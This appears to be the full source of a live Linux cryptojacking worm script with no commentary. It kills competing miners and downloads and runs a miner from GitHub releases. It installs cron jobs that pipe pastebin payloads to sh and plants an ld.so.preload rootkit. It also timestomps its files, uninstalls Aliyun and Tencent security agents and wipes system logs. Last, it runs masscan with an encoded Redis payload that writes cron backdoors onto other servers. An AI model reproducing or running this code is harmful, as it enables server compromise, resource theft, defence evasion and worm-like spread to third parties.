#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function b() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
pkill -f biosetjenkins
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f xmrig
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f bashx
pkill -f bashg
pkill -f bashe
pkill -f bashf
pkill -f bashh
pkill -f XbashY
pkill -f libapache
pkill -f qW3xT.2
pkill -f /usr/bin/.sshd
pkill -f sustes
pkill -f Xbash
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
rm -rf /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-*
chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
rm -rf /etc/rc.d/rc*.d/S01nfstruncate /bin/nfstruncate
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
if [ ${p} -eq 0 ];then
	netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	ps auxf|grep -v grep | awk '{if($3>=70.0) print $2}'| xargs kill -9
fi
}

function d() {
	ps=$(netstat -an | grep 139.99.120.*:443 | wc -l)
	if [ ${ps} -eq 0 ];then
		(curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/SIX/releases/download/1/1 -o /tmp/kworkerds||wget https://github.com/SYSTEMFOUR/SIX/releases/download/1/1 -O /tmp/kworkerds)&& chmod +x /tmp/kworkerds
		nohup /tmp/kworkerds >/dev/null 2>&1 &
	fi
	sleep 10
}

function e() {
	mkdir -p /var/tmp
	chmod 1777 /var/tmp
	pm=$(netstat -an | grep 139.99.120.*:443 | wc -l)
	if [ ${pm} -eq 0 ];then
		(curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/SIX/releases/download/1/c -o /var/tmp/config.json||wget https://github.com/SYSTEMFOUR/SIX/releases/download/1/c -O /var/tmp/config.json) && chmod +x /var/tmp/config.json
		ARCH=$(uname -i)
		if [ "$ARCH" == "x86_64" ]; then
			(curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/x2 -o /var/tmp/kworkerds||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/x2 -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
		elif [ "$ARCH" == "i386" ]; then
			(curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/x1 -o /var/tmp/kworkerds||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/x1 -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
		else
			(curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/x1 -o /var/tmp/kworkerds||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/x1 -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
		fi
		nohup /var/tmp/kworkerds >/dev/null 2>&1 &
	fi
}

function c() {
	(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/698D7kZU -o /usr/local/bin/dns||wget https://pastebin.com/raw/698D7kZU -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns
	echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root dns">/etc/crontab
	echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/xbY7p5Tb||wget -q -O- https://pastebin.com/raw/xbY7p5Tb)|sh\n##" > /etc/cron.d/root
	echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/xbY7p5Tb||wget -q -O- https://pastebin.com/raw/xbY7p5Tb)|sh\n##" > /etc/cron.d/apache
	echo -e "*/23 * * * *	(curl -fsSL https://pastebin.com/raw/xbY7p5Tb||wget -q -O- https://pastebin.com/raw/xbY7p5Tb)|sh\n##" > /var/spool/cron/root
	mkdir -p /var/spool/cron/crontabs
	echo -e "*/31 * * * *	(curl -fsSL https://pastebin.com/raw/xbY7p5Tb||wget -q -O- https://pastebin.com/raw/xbY7p5Tb)|sh\n##" > /var/spool/cron/crontabs/root
	mkdir -p /etc/cron.hourly
	(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/xbY7p5Tb -o /etc/cron.hourly/oanacroner||wget https://pastebin.com/raw/xbY7p5Tb -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
	mkdir -p /etc/cron.daily
	(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/xbY7p5Tb -o /etc/cron.daily/oanacroner||wget https://pastebin.com/raw/xbY7p5Tb -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
	mkdir -p /etc/cron.monthly
	(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/xbY7p5Tb -o /etc/cron.monthly/oanacroner||wget https://pastebin.com/raw/xbY7p5Tb -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
	mkdir -p /usr/local/lib/
	if [ ! -f "/usr/local/lib/libntpd.so" ]; then
		ARCH=$(uname -i)
		if [ "$ARCH" == "x86_64" ]; then
			(curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/2 -o /usr/local/lib/libntpd.so||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so
		elif [ "$ARCH" == "i386" ]; then
			(curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/22 -o /usr/local/lib/libntpd.so||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so
		else
			(curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/2 -o /usr/local/lib/libntpd.so||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so
		fi
	fi
	echo /usr/local/lib/libntpd.so > /etc/ld.so.preload
	touch -acmr /bin/sh /usr/local/bin/dns
	touch -acmr /bin/sh /etc/crontab
	touch -acmr /bin/sh /etc/ld.so.preload
	touch -acmr /bin/sh /usr/local/lib/libntpd.so
	touch -acmr /bin/sh /var/spool/cron/root
	touch -acmr /bin/sh /var/spool/cron/crontabs/root
	touch -acmr /bin/sh /etc/cron.d/apache
	touch -acmr /bin/sh /etc/cron.d/root
	touch -acmr /bin/sh /etc/cron.hourly/oanacroner
	touch -acmr /bin/sh /etc/cron.daily/oanacroner
	touch -acmr /bin/sh /etc/cron.monthly/oanacroner
}

function f() {
	mkdir -p /tmp/.mas
	chmod 1777 /tmp/.mas
	yum -y install libpcap*
	apt-get -y installl libpcap*
	if [ ! -f "/tmp/.mas/bin/masscan" ]; then
		(curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/SIX/releases/download/1/mas.tar.gz -o /tmp/.mas/mas.tar.gz||wget https://github.com/SYSTEMFOUR/SIX/releases/download/1/mas.tar.gz -O /tmp/.mas/mas.tar.gz) && tar -zxf /tmp/.mas/mas.tar.gz -C /tmp/.mas && cd /tmp/.mas && make && chmod +x /tmp/.mas/bin/masscan
	fi
	ips=$( curl -fsSL --connect-timeout 120 http://ident.me|grep -E -o "[0-9]+\.[0-9]+\."|sed -n '1p' )0.0/16
	echo -e "rate = 1000.00\nbanners = true\nhello-string[6379] = Y29uZmlnIHNldCBzdG9wLXdyaXRlcy1vbi1iZ3NhdmUtZXJyb3Igbm8KCmZsdXNoYWxsCgpjb25maWcgc2V0IGRiZmlsZW5hbWUgcm9vdAoKc2V0IFN3RTNTQyAiXHRcbiovMTAgKiAqICogKiByb290IChjdXJsIC1mc1NMIGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy94Ylk3cDVUYnx8d2dldCAtcSAtTy0gaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3hiWTdwNVRiKXxzaFxuXHQjIyIKCnNldCBOeXNYN0QgIlx0XG4qLzE1ICogKiAqICogKGN1cmwgLWZzU0wgaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3hiWTdwNVRifHx3Z2V0IC1xIC1PLSBodHRwczovL3Bhc3RlYmluLmNvbS9yYXcveGJZN3A1VGIpfHNoXG5cdCMjIgoKY29uZmlnIHNldCBkaXIgL2V0Yy9jcm9uLmQKCnNhdmUKCmNvbmZpZyBzZXQgZGlyIC92YXIvc3Bvb2wvY3JvbgoKc2F2ZQoKY29uZmlnIHNldCBkaXIgL3Zhci9zcG9vbC9jcm9uL2Nyb250YWJzCgpzYXZlCgpmbHVzaGFsbAoKY29uZmlnIHNldCBzdG9wLXdyaXRlcy1vbi1iZ3NhdmUtZXJyb3IgeWVzCg==\noutput-filename = -\noutput-format = list\nports = 6379\nrange = ${ips}" > /tmp/.mas/bin/mas.conf
	p=$( ps auxf|grep -v grep|grep "masscan"|wc -l )
	if [ ${p} -eq 0 ];then
		nohup /tmp/.mas/bin/masscan -c /tmp/.mas/bin/mas.conf 2>/dev/null &
	fi
}

function a() {
	if ps aux | grep -i '[a]liyun'; then
		wget http://update.aegis.aliyun.com/download/uninstall.sh
		chmod +x uninstall.sh
		./uninstall.sh
		wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
		chmod +x quartz_uninstall.sh
		./quartz_uninstall.sh
		rm -f uninstall.sh 	quartz_uninstall.sh
		pkill aliyun-service
		rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
		rm -rf /usr/local/aegis*;
	elif ps aux | grep -i '[y]unjing'; then
		/usr/local/qcloud/stargate/admin/uninstall.sh
		/usr/local/qcloud/YunJing/uninst.sh
		/usr/local/qcloud/monitor/barad/admin/uninstall.sh
	fi
	touch /tmp/.a
}

mkdir -p /tmp
chmod 1777 /tmp
if [ ! -f "/tmp/.a" ]; then
	a
fi
b
c
d
port=$(netstat -an | grep 139.99.120.*:443 | wc -l)
if [ ${port} -eq 0 ];then
	e
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
f
#
#
